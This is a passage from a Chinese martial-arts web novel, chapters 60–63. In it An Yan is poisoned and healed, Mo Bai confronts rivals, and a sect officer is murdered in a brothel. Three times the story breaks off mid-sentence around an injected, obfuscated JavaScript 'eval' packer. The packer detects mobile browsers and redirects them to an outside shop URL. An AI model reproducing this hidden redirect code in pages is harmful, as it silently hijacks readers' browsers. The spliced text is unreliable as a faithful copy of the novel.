她又不由得想起墨白。不知此时,墨白正在何处,她也终究……没能看懂墨白。 心底有绵密的疼痛,静悄悄地蔓延出来。 安晏垂下眼睫,视线所及,皆是惨白一片,仿佛任何生命都无法挣脱这份冰寒的禁锢。她的思绪也如同这一庭积雪,空廓茫然,寻不到一个停落之处——却未察觉,不远处,暗中注视着她的目光。 她想,伏焱应该不会遗漏任何线索,继续留在苍目山,已经没有多少意义。六年前千秋院的暴乱究竟因何而起,二十四年前江湖门派重修千秋院,集结江湖弟子,究竟所为何事,不知道苍源郡郡衙,是否会留有相关记载? 无论如何,她都要去一趟郡衙,再做考量。 思及于此,她从废墟上起身,拍了拍裙摆上的雪,准备向山下走—— 耳畔,突然响起尖锐的刀鸣! 安晏不由得大惊,她方才沉思,竟未察觉,敌人就潜伏在咫尺之距!电光火石之间,她已转身撤步,右手向腰侧摸去,然而来人步法却快如利箭,她只来得及瞥见那一团灰褐色的影子,小腹突然一凉,一把玄色长刀已刺入脏腑! 她钳住握刀的手,看着那人熟悉的脸,仿佛周身都浸入了冰潭。然而,耳后却倏然响起急骤的风声,向她所在飞掠而来,她更加惊骇,杀意混着凉意扑上她背脊,那把玄刀在她腹腔里转了半个周,噬骨剧痛刹那间攫去了脸颊的血色,可身后狂风已避无可避,长发纷乱吹扬,这一瞬间,她想,或许她要死去了,这最后一瞬间,心底却突然平静了。 茫茫雪色在视野中消失,她看见了一盏花灯,简单纯粹,了无装饰,就像上元时节的月亮。 挂在窗边,提在手中,温柔而遥远的月亮。 60. 你终于看见我了 那道狂风,却绕过安晏,击在了持刀者身上。 携裹着灭天绝地的杀意,持刀者灰褐色的影子飞出了几丈远,撞碎了脆弱的废墟,跌落在积雪中。 她却未立即死去,挣扎着支起半身,嘴角鲜血似成串的珠子接连滚落。她仿若未觉,只死死地盯着远处的人,目光眷恋不舍,又怨恨不甘。 正是谢新柳。 墨白扶住安晏,安晏却已紧闭双眼,听不见他的轻唤了。 鲜血流过衣襟,寂静淌落,染上苍白雪色,比梦中的红梅更加刺目。她的双唇却比雪原还要苍白,他指尖不由得发抖,却听见废墟深处,响起了许多人的脚步。 抬眼,他看见了徐戾。 他并不意外,徐戾身边跟着几个黑衣人,伏焱不在。 他望着徐戾,目光比苍目山的积雪更冷,杀死这些人,不比杀死几只蚂蚁困难,但是,他不想放开安晏。 黑衣人慢慢地逼近他,他却横抱起安晏,转道向避风处走去。 “站住!”徐戾厉喝。 墨白恍若未闻,脚步一瞬也未停顿。 黑衣人向墨白围拢上去,一个人影,落在了墨白和黑衣人之间。 高言雀握紧手里的刀,眸光被积冰映得雪亮:“墨公子,这些人交给属下。” 墨白的背脊停了一停:“好。” ———————————— 墨白身上带着伤药,他的医术虽远不及安晏,但至少知道应该如何止血包扎。可是,她的脸色依旧越来越苍白,血色仿佛拉拽着她的生命,一分一分地流失。她的脉搏亦浮沉凌乱,像是巨大的混沌的噪音,充斥着他的耳膜。 不远处,金戈振响,碎雪如霰,他无暇细顾。 他该如何,才能救她? 身前,突然响起一阵簌簌声。 他没有抬眼。 那道声线因沾满鲜血,而浑浊沙哑:“墨哥哥……原来,你也不是,无所不能。原来,你也有做不到,会害怕的事。” 墨白握住安晏的手,内息经掌心,缓慢地流进她血脉。 “我听麒麟阁的人说,你历来心狠,从不容情,他们一定……都没见过这样的你吧?” 可那内息,却仿佛泥牛入海,换不回她半分血色。 “我知道你喜欢安姐姐。”谢新柳深深地吸了口气,肋骨不知道断了几根,每一次呼吸都伴随着噬骨的疼痛,“可是我喜欢你啊,墨哥哥。” 他为什么没有早一点出现,他为什么竟如此胆怯、害怕,只敢在远处看着她? “我真的很嫉妒安姐姐,无数个夜里……我都会被噩梦惊醒,想着,为什么是我要受这些苦呢,为什么她却能够拥有一切?所以,我不惜学习禁术,换来武功。所以,当时,我去找顾将军作伪证,说就是安姐姐,杀了那些人。”她半身伏在雪里,却未能消减身体的疼痛,每一口呼吸都染着霜雪,却未能消减心底的疼痛。 真的太痛了,可是,又好像早已习惯,不觉得痛了。 然而,墨白的目光终于顿了一顿。 谢新柳笑了起来,嗓音喑哑,如同一条干涸的河流:“你恨我吗,墨哥哥?我杀了安姐姐,你想杀了我吗?” 墨白没有开口,却抬起眼,向谢新柳望去。 幽深而冰凉,像埋藏着经冬的暗雪。 谢新柳笑意更酽,眸光反射出妖冶的清亮:“墨哥哥,你知道为什么,你的内力没有用吗?因为——”她故意停下来,一字一顿,“刀刃上,有毒。” 她成功而欣喜地看见,墨白的眼底骤然烧起了烈火,他终于放下安晏,跨过废墟,捏着她脖颈,将她提了起来。 “解药。”墨白说。 “哈哈,咳,哈哈……”喉咙被半掐住,只胸腔里发出颤抖的震动,每一下都像有尖刀刺进血肉,“你想杀了我吗?墨哥哥,正好,我正好不想活了。” 她原本不是一个爱说话的人,可是今时今日,她如此疲倦,绝望,那些在心底盘踞许久的念头,竟不管不顾,都说了出来。 她再不说,就没有机会了。 “这些伤,都不算什么,我小时候,受过的伤比这些要痛百倍千倍。可是,我明明都已经离开了,你明明已经带我走了,为什么又要抛下我呢,为什么……不让我陪在你身边呢?”脸被掐得充血,但她仍拼力睁开眼,望着墨白冰冷的面容,控诉又似祈求,“墨哥哥,如果没有安姐姐,你就会看着我了,是不是?她快要死了,你终于看见我了,是不是?” 墨白仍望着她,幽黑的瞳孔像一汪光影难及的深潭。“解药。”他重复,仿佛没有听见她说的每一个字,“交出解药,我不杀你。” 谢新柳静了很久。 她缓慢地垂下眼睫,心底最后一从火光,也终于熄灭了:“墨哥哥,没有解药。”她的语气突然平静,而泛出某种死寂,“我从未想过解药的事,我也不想留下任何机会,让你救她。” 脖颈上力度骤然收紧,令她的每一个字都说得更加艰难,她闭上眼,话音渐渐低微,“我不怕死……墨哥哥,能死在你手上,我没有更多想要的了。但是,安姐姐也要陪着我一起。就算,你能找来大夫,救活她,可是毒药沁入肺腑,她余下一生,也要经受比死更难过的痛苦……” “你会……恨我吗?我……没办法让你喜欢我,但是,以后,你终究无法再……忘记我了。” 苍山银雪,朔风蚀骨。 那双终结她生命的手,竟是这荒莽雪原之中,最令人眷恋的温度。 ———————————— 墨白松开手,谢新柳的身子坠落在积雪中。 他回过头,安晏的脸色仿佛更加苍白了,生命如流沙消逝,他却无力挽留。 他俯下身,再次抱起安晏。 谢新柳不是说,他能找来大夫,救活她吗? 如果他能早一些看清该有多好。山上这些俗事,他都不想管了,他只要她平安健康地活着。 他转道往山路走去,然而,身后的金戈声却突然消失了。 墨白顿住了脚步。 身前,出现的人不是高言雀,而是徐戾。 他受了伤,鲜血沿手臂滴落,似乎就连目光都沾染了血。他举刀直指向墨白,寒风中声音像结了冰:“站住。” 墨白抬眸问:“高言雀呢?” “死了。”徐戾有些不耐,“其余人也都死了,他奶奶的。” 谢新柳也死了,这丫头虽然没什么用,净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348152|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道找死,但她就这样莫名其妙地死了,也终归是件闹心的事。 墨白眉尖微动,话音却仍旧安静:“让开。” “墨公子,我必须带你一起回去。”徐戾冷声道,“这些人死了,总要给汪阁主一个交代。” 墨白眼风稍顿,方才就觉眼熟,原来是麒麟阁弟子。 汪褚时,竟然和徐戾联手了。 他一瞬不瞬地望着徐戾:“我若不去呢?” 徐戾冷哼一声:“我劝你还是识时务,现今你带着累赘,未必能打赢我。” 墨白紧了紧抱着安晏的手,神色始终平静如一:“那么,你可以试一试。” 徐戾心中其实没有把握,墨白虽然拖着半死不活的安晏,但终究武功更胜他一筹。更重要的是,墨白不能死。他只得再次质问:“墨公子,你难道,要背叛麒麟阁与汪阁主吗?” 墨白仍一动不动地静立着:“那又如何?” 墨白如此油盐不进,徐戾终于失去了耐心——他本就不是一个有耐心的人。 刀刃寒风骤起,他已凝眉沉目,足下重重一踏,刀光如电,直向墨白刺去! 墨白身有掣肘,他未必会输! ——可是,墨白没有动作,侧方却突然凌光一闪,数枚银针射向他面门。他连忙撤步回刀,当当当几声,银针被尽数打落,来者武功不及他,但,为何山上会有其他人? 他横刀在胸,抬眼看去,一个白衣白裘的男子从林中奔出。 身后,却还有一个蓝衣的女子。 男子想来是银针主人,一出林子,便径直向墨白疾步走去,女子却安静地,向他望来。 平淡如玉,清寒似雪。她腰侧长剑分明没有出鞘,甚至她的手根本没有放在剑柄上,他却已从心底,生出了茂密的恐惧。 只一个刹那,他不再迟疑,当下收刀折身,拔足往山下逃去。 他没有见过她,一时也无法肯定她的身份。但他在丛林中生活了很久,对于危险,他早有野兽般敏锐的本能。 即使伏焱——也赢不了这个人。 ———————————— 宗暮非走到墨白身前,就要去抱他怀中的安晏。 墨白却后退了一步,沉默而警惕地望着他——和他身后的女子。 那个蓝衣女子,分明身怀登峰造极的武功,分明轻而易举就能追上徐戾,她却什么都没有做。徐戾逃走之后,她只望了一眼,神情没有任何波澜,继而亦转步向他走来。 “哎,你做什么?你又不会治,快点把她交给我,再晚就来不及了!”身前男子焦灼的声线传入耳中,打断了墨白的思绪,“我是她师父!” 墨白一怔,宗暮非已从他手上抱过安晏,匆匆往避风处走。他的背影与传闻中的形容渐渐重合,墨白不由自主转过视线,看向那个蓝衣女子。 若,他是宗暮非,那她,就一定是许翎竹了。 心中似乎太过意外,竟一时混沌起来。许翎竹淡淡掠了他一眼,向宗暮非走去,墨白静了静,只好也跟上他们。 姜城乌带着数十兵马无功而返,大半个麒麟阁日夜寻找毫无所获——安晏的师父,血祭剑法的主人——他们,却出现在了苍目山,出现在他面前? 61. 这毒药邪门得紧 宗暮非将安晏在废墟一角放下,往她嘴里塞了几颗药丸,又撕开她腹部的衣服,在她伤口处洒了一把药粉。随即,他紧锁起眉心,将三指搭上她腕脉。 许翎竹安静地站在一旁。 墨白站在许翎竹几步之外,却也没有开口。 不过几个呼吸的功夫,宗暮非就放下了手,又一弯腰,将安晏背了起来:“要尽快下山。”他望着许翎竹说,“这毒药邪门得紧,山上没有药材,雪地里也冷,我得去县城医馆一趟。” “嗯。”许翎竹依旧话音淡淡,“走吧。” 她说完,就转道往山下走。 墨白忍不住问道:“宗大夫,您……您能解开,这味毒药吧?” “你到底是认识我,还是不认识我?”宗暮非没好气地扔给墨白一个白眼,快步走到了许翎竹前头,“你到底知道不知道,我是江湖第一神医?” 墨白紧跟在二人身后,似还有些愣怔,却听许翎竹发出了一声轻笑。 宗暮非不由得停了一下脚,回身看了看许翎竹,她却仍是那副万物不沾心的寡淡模样,那声笑轻得好像是他的错觉,好像是一缕握不住的风。他转回身,继续往山下走,一边道:“怎么?你是不是觉得我许久不出山,技艺有所生疏?哼,就算再过二十年,我仍是江湖第一神医,安晏没有我的天份,一辈子都不成!这里每个人,可都欠着我!” 说着回头,却是远远瞪了墨白一眼,“你,那个失忆的病人,就是你吧?现在都想起来了吗?” 墨白轻一颔首:“尚未,但,大多都已经记起。” “治失忆这种病,我也是行家了,安晏也学得不错——嗯?不对,治什么病,我不是行家?若不是我,你们每个人都早就死了。”枝头积雪如碎星落在他肩头,身后没有回应,但他仍独自唠唠叨叨地说了下去,“安晏体内之毒,似乎是有人新配出来的法子,至少二十年前,这种毒药,江湖中并不存在。这毒药的确有些邪门,想是加了奇怪的药引子,虽不立即致死,但晚一分,毒性就更缠绵一分。不过,溯本逐源,万物相通,医者治病只靠记诵药方,那便是落于下乘了。” 顿了顿,又道,“但能将千种药方熟记,已然难得。当世行医者,少有人能够做到。” 又顿了顿,“多蹊跷的毒,我都能解开,这个毒药,你们完全不用担心。只可惜……医者虽能医病,却无法医心。” 又再次回头,看向林木光隙中的许翎竹,“如此说来,你也是有些用处的。” 许翎竹终于,既轻且长地,叹息了一声。 ———————————— 安山县医馆,宗暮非在室内为安晏煎药施针,许翎竹和墨白则在屋外等候。 他们是闯进这间医馆的。 许翎竹腰侧佩剑,江湖人的身份不言自明,宗暮非简单讲了几句来由,就径自走入后院,那些想拦住他的人,都被许翎竹拦住了。 许翎竹没有出剑,甚至没有出手,寻常百姓身无内力,她只需释放出些许真气,就能压迫得他们无法抬起头。 没有人再敢多言,许翎竹于是收敛了真气,淡淡道:“多谢,请诸位自便,我们不会打扰医馆出诊。”又微微颔首,这才向后院走去。 墨白跟在她身后,从始至终,一个字也没有说。 许翎竹没有进屋,站在院子里冬叶落尽的树影中。墨白于是也站在了树下,仍是离许翎竹几步之远。 夕光毫无阻碍地倾泻而下,他与她沉默了很久。 终于,许翎竹突然开口道:“安晏不会有事。” 墨白微怔,侧目向许翎竹看去。 许翎竹却望着遥远的云霞,仿佛烈火灼烧着天幕,烫出了潋滟的血色。她的语气依旧平淡如古井,将光亮都埋在了深处:“你们想要血祭剑法,是吗?” 墨白眼睫一跳。 “血祭剑法,就在我身上。”她平静地陈述,“但是,要看你们,是否有这个本事拿到。” 墨白没有回答,目光微微垂落:“许楼主,”他斟酌了许久该如何称呼她,“敢问你们,是如何从南疆——从建水县逃走的?” “你们果真派了人。”许翎竹淡声道,墨白眉心稍顿,她是什么意思?她没有遇见姜城乌和麒麟阁弟子,是吗? “我们并非逃走,只是离开。”许翎竹安静地纠正了墨白的用词,“飞春阁晚娘与薇娘,都是我的故交。” 晚娘,薇娘,是当今江湖第一门派,飞春阁的前任阁主,和现任阁主。 早在栖归楼立派时,栖归楼与飞春阁就有诸多往来,更是培植势力,征战江湖的盟友。飞春阁是全国情报汇集之所,她能提前收到消息而离开,他并不意外。 他轻轻点头:“原来如此。” 他不再说什么,片刻,许翎竹又再次开口道:“你似乎并无动手之意。” 墨白知道,她是在说血祭剑法的事,他扯了扯嘴角:“是,我无法打赢寒星之主,自然不会做不自量力之举。”目色却渐渐柔和,望向那间门窗紧闭,简朴的房屋,“我现在,也不想要血祭剑法了。” ———————————— 送走江湖访客,日色已西,汪褚时准备回屋用饭,才推开屋门,座下立着一个人,昏昧光线中仿佛一具幽冥鬼影,惊得他险些抽刀砍去。 但只有一瞬,他很快恢复了镇定。 他看见了那个人的面容,他几乎不能更加熟悉,却又与那张熟悉的脸有所不同—— 与墨白相似,那个人,是伏焱。 汪褚时深深吸了口气,掩上房门,对伏焱道:“请坐吧。” 伏焱长袖负手,脸上挂着从容优雅的笑,却没有坐下:“汪阁主找我,所为何事?” 伏焱不坐,汪褚时不好勉强,只得也站着,对伏焱拱手道:“伏公子,不知你可有从徐公子处听闻,我请你来此,是想与你商议,推举你成为当今江湖的武林盟主。” 伏焱不由得静了静,继而低低地笑了起来。 这句话,实在有太多可笑,他竟不知道该先笑哪一处了。 自用了“伏焱”这个名字以来,还是第一次有人称他“伏公子”。他取姓为伏,本是借上古正神伏羲之名,称作“伏公子”,着实有些荒诞滑稽了。 也是第一次,听人称徐戾“徐公子”。 徐戾明明也是在明思院里苟延存活下来的恶魔——他虽然弱小乏味,一无是处,但那个地方,能活下来的只有恶魔——“徐公子”,倒好像披上人皮,就能脱胎换骨了似的。 至于“武林盟主”—— 怎么这群江湖人,都过了二十五年,还没从这荒唐的,掌控一切的美梦中醒来? 他笑了许久,他许久没有听到如此有趣的事了,汪褚时不知道伏焱在想什么,也不敢出声打断。许久之后,他终于收了笑,幽深地望进汪褚时眼中:“怎么?难道墨白,没有这份才能?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356972|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和徐戾所问,几乎如出一辙。 汪褚时咽了咽口水,道:“自古以来,长幼有序……” 伏焱轻轻挑眉:“哦?” 汪褚时咬了咬牙:“到时,我自会将他的身世告知于他。墨确有过人之才,你亦须得他助力,才可成为江湖霸主。否则,不仅飞春阁将永远在麒麟阁之上,就是玄刀门,也必将在暗处虎视眈眈,伺机而动。” 伏焱微微眯起眼。 他知道,麒麟阁与玄刀门一直在争夺江湖霸主之位,从二十五年前,他们在苍目山上重修千秋院,集结江湖各派弟子,后来又修建明思院,训练他们这些孩子,意图培养出一个武林盟主——麒麟阁与玄刀门,始终是这一切的谋划者和推动者。 强迫母亲做出选择,强迫他与墨白分离,也是麒麟阁与玄刀门所为。 而这两者,麒麟阁,更是罪魁祸首。 他却再次轻笑起来:“好,那么,你的下一步打算,是什么?” “我需要血祭剑法。”既是合作,他没有必要隐瞒,“我们已经找到了许楼主弟子,是一位姓安的姑娘。只是,前不久姜城乌去往许楼主隐居之处,却扑了个空。麒麟阁已派出半数弟子继续寻找,但,恐仍要花些时日。” 伏焱静静听着,未置一词,末了,他微微一勾嘴角:“我明白了。” 说完这四个字,他竟直接向门外走去。 “伏公子?”汪褚时不由得唤。 “怎么?”伏焱顿住脚,回过头,“你还有其他,想说的事吗?” “不知伏公子,是否答应与麒麟阁合作?” 伏焱笑着,眉眼如初冬的新月,清雅却冰凉。他什么都没有说,推开门,消失在了漫天盛开的红霞中。 ———————————— 屋子沉寂了半晌。 汪褚时终究没有去追,他关上房门,低低唤了一声:“鸦,你在吧?” 屋子深处仿佛凭空浮凸出一个人影,那个唤作鸦的男人——麒麟阁暗部首领从阴影中走出,恭敬地单膝跪在汪褚时面前:“阁主。” “起来吧。”汪褚时转身去座上坐下,“你都听见了,可有什么想说的?” “阁主,恕属下直言。”鸦依言起身,垂首站在座前,“伏焱此人,恐不可信。” “我知道,他不信任我,我也并非全然信任他。”汪褚时叹道,“现在我与他,只是合作罢了。合作不一定需要信任,麒麟阁可壮大势力,伏焱可成为武林盟主,双方均有利可图,合作就能成立。” 鸦却似有所疑虑:“阁主,那伏焱,真的想做武林盟主吗?” 汪褚时不以为然:“江湖盟主,千万人之上,荣华富贵亦取之不尽,怎会有人不想要呢?伏焱一人难以成事,必须借助麒麟阁之力,才可坐稳盟主一位。” 鸦默了默:“属下并无他意,只是……伏焱此人,不会如此简单。” “不用担心。你从暗部选几个信得过的,远远跟着伏焱,看他要去何处。切记,不要打草惊蛇。”汪褚时想了想,又问,“姜城乌仍在他自己院中?” “是。”鸦恭敬地颔首,“自您下令让姜总管禁足,他不曾迈出院子一步。” “好,明日起,解了他的禁足吧,两日后,让他继续搜寻许楼主行踪。墨那边,有消息传来吗?” “尚未。” 汪褚时眉心微微蹙起:“也一并叫人,跟上墨吧。” 62. 当慢慢享受 月影西移,万籁无声,时辰已近寅时,宗暮非终于打着呵欠推开屋门,看见坐在院中的许翎竹和墨白,不由得一怔。 “都——什么时辰了?”宗暮非拧紧眉心向许翎竹走去,“你怎么不去睡觉?” 许翎竹起身,清淡的月色笼在她肩头。身旁,墨白也站起来,对宗暮非深深一揖:“谢过宗大夫救命之恩。” “安晏是我的弟子。”重音落在“我”上,宗暮非打量了他一番,最终还是道,“毒性已经解了,但她仍要睡个三日,醒后,也需再静养一段时间。” “是。”墨白低眉顺目地道,“无论如何,都多谢您。” 宗暮非又对着墨白皱起了眉,忽听许翎竹淡声道:“走吧。” 她说着就已转身,宗暮非连忙拉住她衣袖:“你要去哪里?你不在这里过夜了?” 许翎竹停住脚步,轻轻点头:“嗯。” “可……”宗暮非不禁看了墨白一眼,他本人是极不信任墨白的——他是麒麟阁政部总管,虽然好像不曾伤害安晏,但,不还是任由她受了伤? “墨公子在,无事。”许翎竹却道,话音平静而确定。她似乎非常相信墨白。 宗暮非于是不说话了,想着难道他们两个人,在他诊病的功夫里,悄悄达成了什么不足为外人道的协定吗?但他仍未松开手,踟蹰了半晌,又道:“那个,好不容易来一趟,不见安晏一面再走吗?她……她若知道我们都安然无虞,一定会很高兴。” “不必。”许翎竹却仍淡声否决了,将目光转向墨白,“墨公子,等你们想做的事情做完了,就叫她去俞州夕丘县找我们吧。” “是。”墨白向许翎竹微微颔首。 许翎竹未再多言,迎着月光向院外走,宗暮非也未再劝说,松开手,走在她身侧,但仍小声嘀咕道:“也不知道心急火燎的,是去做什么。” “这件事,还应该向飞春阁道谢。” “不是要去俞州吗?顺路去飞春阁拜访就是了。” 转过院门,两个人的声音渐渐远了,墨白这才回身,推门走进木屋。 安晏仍在熟睡,但面颊已比在山顶时多了血色。墨白在门边驻足片刻,待寒气褪了些,才走到床边坐下。宗暮非燃了安神的香,睡梦中,她的神色平静恬适,好似做了美梦。他很久没有见到她这样放松的神情了,这几年,她几乎一日不停地奔波——他也很久,没有见到她了。 他不由自主地伸出手,想触摸她锦缎般乌黑的长发,半路却又顿住,很久很久,终于一寸一寸地收了回来。 她与他的以后,有资格做决定的人,不是他。 他早已收到麒麟阁线报,顾鸿云和袁清明就在郡衙,距离安山县只有两三日马程。高言雀已经死了,唯一还能够相信的人,竟只剩下他们了。 ———————————— 墨白租了一辆马车,安晏在车内熟睡,他星夜兼程,赶到苍源郡郡府。 袁清明见到他时,惊讶得像是见了鬼:“墨公子?你为什么……”看见他从马车上抱下的人,更是惊骇地险些拔出刀来,“安姑娘怎么了!” “安晏无事。”墨白意简言赅地道,掠了一眼拄着拐杖,面容沉肃地从院内走出的顾鸿云,“可有空余房间?” “有倒是有。”袁清明引墨白向厢房走,目光却落在安晏脸上。还好,她虽双目紧闭,但脸颊仍是健康的微红,想来不会有性命之忧。她续问墨白道,“你们从哪里过来?安姑娘受了伤?是谁伤了你们?” “打伤安晏之人,已经死了。”墨白平声解释道,“不必担心,我已请大夫救治,两日后,安晏就会醒来。” 他没有说是他杀了袭击者,但不必说,袁清明和顾鸿云也都猜到了。 安晏剑法出众,他们都见过,袭击者能将安晏打伤,却亡于墨白之手——墨白的武功,或许远在安晏之上。 郡衙才经恶战,士兵未及补充,因此空余出不少房间。袁清明找了干净向阳的一间,墨白将安晏在床上放下,这才回首对二人道谢:“多谢二位,顾将军似乎也受了伤?” “无碍,只是小伤。”顾鸿云声线平淡,目光却幽深。 “墨公子,你……”袁清明疑虑重重地望着墨白,“你为何会来郡衙找我们?你是不是,打算将安姑娘留下,自己离开?” “是。”墨白轻轻点头,“我有件事情,必须去做,但安晏重伤未愈,需要静养。思来想去,能够托付的,就只有你们了。” 袁清明看看墨白,又看看顾鸿云,最后又将目光转回墨白脸上:“你确定?” 墨白没有回答袁清明,抬目望向顾鸿云,却未说一言。 顾鸿云亦默然许久,最终,他移开了视线:“墨公子,我见过伏焱了。” 墨白微微一怔。 “郡衙中,有许多秘藏卷宗,我尚未一一细看。等安姑娘醒来,我也有很多事情,要向她确认。无论发生何事,我都绝不会,做出伤及安姑娘性命之举。” 他没有说,不会再怀疑安晏。 不过,即使他如此说,墨白也不会相信。这样就够了。 “顾将军。”他最后说,“安晏与你,与我,与袁姑娘,都不同。请你去撤销对安晏的悬赏吧。她是仁医,她从来没有,杀过一个人。” ———————————— 灯红酒绿,烟柳笙歌,与严冬时节格格不入,花楼中的热闹奢靡,好似世外的春日。 花阁门窗紧闭,姜城乌已喝得半醉,正紧紧搂着一个花娘:“阁主就是……偏袒。我,我有哪一点,比他差?我的才能谋略,都不……输给他,资历,更比他……他还没出生,我已在麒麟阁了……” “姜总管,”那花娘顺着他的话逢迎道,“您仪表堂堂,文韬武略,定然是常人比不过的。” “常人?”姜城乌迷醉地睁开眼,顿了顿,复又将头埋在花娘颈窝,嗅着她肌肤间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364028|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香气,“他哪里是常人……他是,麒麟阁阁主义子,自然比起我们,是更……更尊贵的……” “姜总管不必妄自菲薄,”花娘将手贴上他背脊,自上而下,一寸一寸,轻柔地抚过他脊骨的纹路,“不管旁人说什么,芸娘眼中,您就是天下第一的男子。” “我知道,若旁人能有芸娘……五分好……”花娘指尖微凉,却在他脊背上燃起了一簇簇幽火,他的手也渐渐不安分起来,“你今日……抹了什么香?” 芸娘俯下头,温热的气息喷在他耳后:“自是姜总管最喜欢的宜兰香,因着您今日要来,一早就熏了衣裳呢。” “还是芸娘,最知我心意了。”□□被彻底点燃,姜城乌一把将芸娘横抱起,略微晃了一晃,随即大步向床榻走去。芸娘一手搂住他脖颈,另一手将绫纱床帐拂落,勾着他滚倒在床褥上。姜城乌已扯开了她的裙带,她亦将手向他衣襟内探去,下颌却在他颈后细细摩挲:“姜总管莫要心急,良宵千金,当慢慢享受才是。” 姜城乌早已顾不上回应,鼻息间逸出一声声低吟,严冬雪寒,一室帐暖。 ———————————— 晨光初明,夜雪未销,一男一女两具尸体,被人发现在青柳苑一间花阁内。 二人未着寸缕,房间窗门紧闭,甚至仍残留着□□愉的痕迹。男人颈上一个血淋淋的洞,鲜血浸湿了半张床褥,女人颈间却插着一只金簪,右手仍紧紧握在簪尾上。 女人竟是自尽而死。她竟是杀死了这个男人,然后自尽而死。 消息传到麒麟阁,汪褚时眼前黑了一黑。 自见过伏焱,这两日心下总有些不安。却没料想,最先出事的,竟是姜城乌。 姜城乌尸身暂由官府扣留,汪褚时只得先命令暗部去查——那个花娘,究竟为什么要杀死他。 然而两日后,鸦带回来的,却是一个再平常不过的理由。 芸娘家乡就在成州,几年前,姜城乌带人去收田租,弟子与村民发生冲突,他失手杀死了芸娘的父母。芸娘此后孤苦无依,为奴为婢,直到后来打听到姜城乌是麒麟阁兵部总管,又是花楼常客,便辗转进入青柳苑,将身子卖给了第一次见,就看中了她的姜城乌。 她迎合着姜城乌的喜好,每一次都哄得他心花怒放,撩拨得他□□,他俨然成为了她的专客。时间久了,姜城乌渐渐不再防备,芸娘终于寻到时机,杀死了他。 汪褚时听完回报,却紧蹙起眉心:“即使再如何不设防,姜城乌终究有几分功夫,亦在江湖生死之间历练多年,芸娘全无武功,如何能轻易地杀死他?” 花阁内并无迷药痕迹,鸦默了默,揣测道:“许是……姜总管身子倦,睡得深了。” 汪褚时摇了摇头:“他统领麒麟阁兵部多年,无论如何,不会这样愚蠢不堪,毫无警觉。再去细查,你亲自去。” 见汪褚时如此吩咐,鸦于是也不再多说,颔首道:“是,阁主。” 63. 别来无恙 又过了两日。 官兵将姜城乌尸首送回麒麟阁,芸娘则在城外随意葬了。鸦也再次回到麒麟阁,带来的消息,却和上一次同出一辙。 “芸娘确实不会武功,当日青柳苑中,也未见可疑之人。”鸦垂首回禀,“若要细查芸娘身世,还需再花几日时间。” 冬风彻骨,汪褚时却始终站在院中,俯身看着姜城乌已冰冷发硬的尸身,眼底如团着化不开的浓墨:“颈侧这一击,可谓干净利落,毫无迟疑。若真是芸娘所为,那这个人,不可小觑。”直起身,向鸦望去,“芸娘颈侧伤口,你可有看过?” “是。”鸦恭敬地道,“二人确实皆被那只金簪刺伤,芸娘颈间伤口,与姜总管相似,也是一击毙命。” “嗯。”汪褚时应了一声,转回目光,眉心却始终未纾。 姜城乌亦是他一手提拔,此人虽稍有急躁冒进,喜好争功,但并非愚蠢无知,否则,他也不放心将麒麟阁兵部,交给他统管。芸娘对他起了杀心,他或许被芸娘演技骗过,未得察觉,但绝不会被金簪刺入咽喉,却全无挣扎,沉睡而死。 芸娘用了迷药吗?可是鸦和官兵都说,花阁内仅燃着普通的宜兰香,看姜城乌面色,也无半分中毒之象。 “阁主,”鸦见汪褚时许久未言,不由得低声劝道,“或许真的只是姜总管太过劳累,睡得沉了,才叫芸娘一击得手。如今江湖,麒麟阁势力仅次于飞春阁,属下想,应当不会有人,敢对麒麟阁兵部总管出手,敢与麒麟阁为敌。” 汪褚时心跳一缩。 先时他未曾想,可鸦说,不会有人,敢与麒麟阁为敌——他的脑中,突然闪过了一个人的面容。 清俊却无情的眉眼,温柔却冰凉的笑。 若是伏焱,他能做到。 他能做到悄无声息地一击暗杀,也能做到不将麒麟阁放在眼中。 然而,若真是伏焱,他又是从何处,得知了姜城乌与芸娘的事?又是从何处得知,姜城乌不再被禁足,随即去了青柳苑? 脊背上漫出一层细汗,寒冬的风一吹,汗水冷透衣衫,仿佛就连血液都结了冰。 他知道与伏焱合作,无异于与虎谋皮,所以他需要墨白。 可是此刻,墨白不在麒麟阁。 他再次抬起头,望着院中垂首静立的鸦,片刻,缓缓启口:“今日起,你在我身边,一步也不要离开。” “是,”鸦恭声应道,“暗部影卫皆随时候命。” 汪褚时眼中却寒芒一闪:“我说的是,你。” 鸦不由得一惊,忙半跪在地上:“阁主恕罪,属下明白。”静了静,“请恕属下……斗胆一问。阁主可是,怀疑麒麟阁内部……” “是。”汪褚时没有否认。 